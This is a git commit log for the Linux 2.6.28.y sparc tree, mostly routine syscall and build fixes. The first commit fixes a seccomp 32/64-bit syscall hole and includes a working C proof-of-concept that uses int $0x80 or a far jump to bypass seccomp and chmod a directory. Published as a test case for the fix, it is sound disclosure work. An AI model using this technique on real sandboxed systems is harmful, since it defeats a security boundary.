kernel.git/arch/sparc, branch linux-2.6.28.y

x86-64: seccomp: fix 32/64 syscall hole

2009-03-17T00:32:21Z

commit 5b1017404aea6d2e552e991b3fd814d839e9cd67 upstream. On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases under CONFIG_SECCOMP=y, secure_computing() will use the wrong system call number table. The fix is simple: test TS_COMPAT instead of TIF_IA32. Here is an example exploit: /* test case for seccomp circumvention on x86-64 There are two failure modes: compile with -m64 or compile with -m32. The -m64 case is the worst one, because it does "chmod 777 ." (could be any chmod call). The -m32 case demonstrates it was able to do stat(), which can glean information but not harm anything directly. A buggy kernel will let the test do something, print, and exit 1; a fixed kernel will make it exit with SIGKILL before it does anything. */ #define _GNU_SOURCE #include #include #include #include #include #include #include int main (int argc, char **argv) { char buf[100]; static const char dot[] = "."; long ret; unsigned st[24]; if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0) perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?"); #ifdef __x86_64__ assert ((uintptr_t) dot < (1UL << 32)); asm ("int $0x80 # %0 <- %1(%2 %3)" : "=a" (ret) : "0" (15), "b" (dot), "c" (0777)); ret = snprintf (buf, sizeof buf, "result %ld (check mode on .!)\n", ret); #elif defined __i386__ asm (".code32\n" "pushl %%cs\n" "pushl $2f\n" "ljmpl $0x33, $1f\n" ".code64\n" "1: syscall # %0 <- %1(%2 %3)\n" "lretl\n" ".code32\n" "2:" : "=a" (ret) : "0" (4), "D" (dot), "S" (&st)); if (ret == 0) ret = snprintf (buf, sizeof buf, "stat . -> st_uid=%u\n", st[7]); else ret = snprintf (buf, sizeof buf, "result %ld\n", ret); #else # error "not this one" #endif write (1, buf, ret); syscall (__NR_exit, 1); return 2; } Signed-off-by: Roland McGrath [ I don't know if anybody actually uses seccomp, but it's enabled in at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ] Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman

Remove attribute((weak)) from sys_pipe/sys_pipe2

2009-01-18T18:43:51Z

commit 1134723e96f6e2abcf8bfd7a2d1c96fcc323ef35 upstream. Remove __attribute__((weak)) from common code sys_pipe implemantation. IA64, ALPHA, SUPERH (32bit) and SPARC (32bit) have own implemantations with the same name. Just rename them. For sys_pipe2 there is no architecture specific implementation. Cc: Richard Henderson Cc: David S. Miller Cc: Paul Mundt Cc: Tony Luck Signed-off-by: Heiko Carstens Signed-off-by: Greg Kroah-Hartman

Rename old_readdir to sys_old_readdir

2009-01-18T18:43:51Z

commit e55380edf68796d75bf41391a781c68ee678587d upstream. This way it matches the generic system call name convention. Signed-off-by: Heiko Carstens Signed-off-by: Greg Kroah-Hartman

sparc: We need to implement arch_ptrace_stop().

2008-12-17T05:55:44Z

In order to always provide fully synchronized state to the debugger, we might need to do a synchronize_user_stack(). A pair of hooks, arch_ptrace_stop_needed() and arch_ptrace_stop(), exist to handle this kind of situation. It was created for the sake of IA64. Use them, to flush the kernel side cached register windows to the user stack, when necessary. Signed-off-by: David S. Miller

sparc: asm/bitops.h should define __fls

2008-12-04T00:04:52Z

bitops_64.h includes the generic one; pretty sure 32 should too. (Found by using __fls in generic code and breaking sparc defconfig build: thanks Stephen and linux-next!) Signed-off-by: Rusty Russell Signed-off-by: David S. Miller

remove __ARCH_WANT_COMPAT_SYS_PTRACE

2008-11-30T19:00:15Z

All architectures now use the generic compat_sys_ptrace, as should every new architecture that needs 32bit compat (if we'll ever get another). Remove the now superflous __ARCH_WANT_COMPAT_SYS_PTRACE define, and also kill a comment about __ARCH_SYS_PTRACE that was added after __ARCH_SYS_PTRACE was already gone. Signed-off-by: Christoph Hellwig Acked-by: David S. Miller Signed-off-by: Linus Torvalds

fix the section noise in sparc head.S

2008-11-30T18:03:37Z

usual .text.head trick Signed-off-by: Al Viro Signed-off-by: Linus Torvalds

sparc32 cpuinit flase positives

2008-11-30T18:03:35Z

All noise since we don't have CPU hotplug there. However, they did expose something very odd-looking in there - poke_viking() does a bunch of identical btfixup each time it's called (i.e. for each CPU). That one is left alone for now; just the trivial misannotation fixes. Signed-off-by: Al Viro Signed-off-by: Linus Torvalds

sparc64: wire up accept4()

2008-11-20T02:49:57Z

This adds the sparc syscall hookups. Signed-off-by: David S. Miller Cc: Ulrich Drepper Cc: Michael Kerrisk Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds

sparc: Fix tty compile warnings.

2008-11-13T07:51:54Z

This patch fixes tty compile warnings as sugested by Alan Cox: CC drivers/char/n_tty.o drivers/char/n_tty.c: In function normal_poll: drivers/char/n_tty.c:1555: warning: array subscript is above array bounds drivers/char/n_tty.c:1564: warning: array subscript is above array bounds drivers/char/n_tty.c: In function read_chan: drivers/char/n_tty.c:1269: warning: array subscript is above array bounds CC drivers/char/tty_ioctl.o drivers/char/tty_ioctl.c: In function set_termios: drivers/char/tty_ioctl.c:533: warning: array subscript is above array bounds drivers/char/tty_ioctl.c:537: warning: array subscript is above array bounds drivers/char/tty_ioctl.c: In function tty_mode_ioctl: drivers/char/tty_ioctl.c:662: warning: array subscript is above array bounds drivers/char/tty_ioctl.c:892: warning: array subscript is above array bounds drivers/char/tty_ioctl.c:896: warning: array subscript is above array bounds drivers/char/tty_ioctl.c:577: warning: array subscript is above array bounds drivers/char/tty_ioctl.c:928: warning: array subscript is above array bounds drivers/char/tty_ioctl.c:934: warning: array subscript is above array bounds Signed-off-by: Robert Reif Signed-off-by: David S. Miller